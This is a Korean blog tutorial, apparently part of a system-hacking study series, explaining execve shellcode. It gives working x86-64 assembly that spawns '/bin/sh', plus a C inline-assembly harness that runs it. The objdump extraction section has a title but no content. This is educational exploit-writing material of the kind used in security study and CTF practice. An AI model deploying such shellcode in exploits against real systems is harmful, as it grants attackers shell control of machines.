보안/시스템 해킹

[ 시스템 해킹 ] Exploit Tech: Shellcode ( execve )

haena02 2022. 7. 20. 04:48
반응형

셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스이다.

셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여깁니다.

execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.

다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.

 

1. execve(“/bin/sh”, null, null)

 

execve 셸코드는 execve 시스템 콜만으로 구성된다.

첫번째 인자에는 파일 이름, 두번째 인자에는 실행파일, 세번째 인자에는 환경변수가 들어간다.

우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 

execve 의 rax에는 59(0x3b)가 들어간다.

;Name: execve.S

mov rax, 0x68732f6e69622f   ;filename
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

 

2. 실습

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();

int main() { run_sh(); }

 

위에 코드를 실행해주면 아래와 같이된다.

 

 

 

3. objdump 를 이용한 shellcode 추출

반응형